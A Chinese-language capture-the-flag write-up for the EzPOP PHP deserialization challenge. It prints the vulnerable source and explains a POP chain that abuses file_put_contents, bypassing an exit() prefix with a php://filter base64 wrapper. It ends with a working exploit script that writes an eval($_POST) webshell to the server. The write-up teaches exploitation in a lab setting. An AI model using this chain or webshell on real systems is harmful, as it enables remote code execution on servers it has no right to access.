1. 程式人生 > 其它 >[EIS 2019]EzPOP

[EIS 2019]EzPOP

[EIS 2019]EzPOP

反序列化主要是利用原本類中的函式方法。關鍵點也在例項化後的類中變數可控後,通過構造變數的值,使反序列化後函式不斷呼叫最後到我們目標利用函式
然後再由利用函式中的引數值可控,幹一些好玩的操作。這個過程要關注函式的鏈式呼叫是否到了我們想要利用的漏洞函式。然後是可控的變數值是否成功傳入,中間是否進行了其他的處理。

這個題原始碼如下

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 建立失敗
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //資料壓縮
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

一次遇到這麼多程式碼不要怕,把每個函式的功能和呼叫關係理清楚,然後構造exp之後打斷點慢慢看,沒打通看是到哪個函式呼叫不下去了,報錯是什麼。

通讀之後,發現有2個類A(),B()

A中有__destruct,常見反序列化入口點,然後呼叫關係為__destruct->save()->getForStorage->cleanContents
然後再進行到save()中的$this->store->set($this->key, $contents, $this->expire);

進而開始呼叫B類中的set方法,

  public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 建立失敗
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //資料壓縮
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

set中前面呼叫的getxxx都是對變數資料型別進行處理的沒什麼好看的,然後是到了serialize方法

protected function serialize($data): string {
    if (is_numeric($data)) {
        return (string) $data;
    }

    $serialize = $this->options['serialize'];

    return $serialize($data);
}

這裡有個$serialize($data)函式動態呼叫

再到$data = gzcompress($data, 3)

,這裡由於if條件不滿足可以直接跳過

再到這個很明顯的漏洞地方

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

我們可以利用file_put_contents寫入php檔案,直接getshell

這裡data前面拼接了<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"

繞過exit可以參考p牛的這篇文章,

$filename=php://filter/convert.base64-encode/resource=xx.php就可以破壞掉exit(),

sprintf('%012d', $expire)

$expire可控

還讓我們可以填base64_decode,填充為4的倍數,讓php程式碼被正確解碼出來

$filename和$data都可控

它們在set中的處理過程:

$data = $this->serialize($value)


$filename = $this->getCacheKey($name)

    
$value和$name由set($name, $value, $expire = null)定義

由$this->store->set($this->key, $contents, $this->expire)傳入
在A類中key直接是可控的,
$contents=json_encode([$cleaned, $this->complete])
其中$cleaned = $this->cleanContents($this->cache);

所以$filename的值由A類中$key決定

$data由A類中的$cache$complete決定

(注意函式傳入變數的型別要求

構造exp

<?php

class A {

    protected $store;
    protected $key;
    protected $expire;
    public $cache = array(1234=>"UEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSjNnblhTazdQejQ9");  /*<?php eval($_POST['x']);?>的二次base64編碼
        二次編碼的原因是json_enocde會將cache字串中的/和_進行轉義
        解密也有兩次,一次$serialize,一次php://fileter   */
    public $complete = "";
    
    public function __construct($store='', $key = 'flysystem', $expire = null) {
        $this->key = 'php://filter/convert.base64-decode/resource=x.php';
        $this->store = new B();
        $this->expire = $expire;
    }
}

class B {

    public $options =array('serialize'=>'base64_decode','expire'=>12346578910111) ;

}

$a = new A();
echo urlencode(serialize($a)).PHP_EOL;

x.php即為寫入的webshell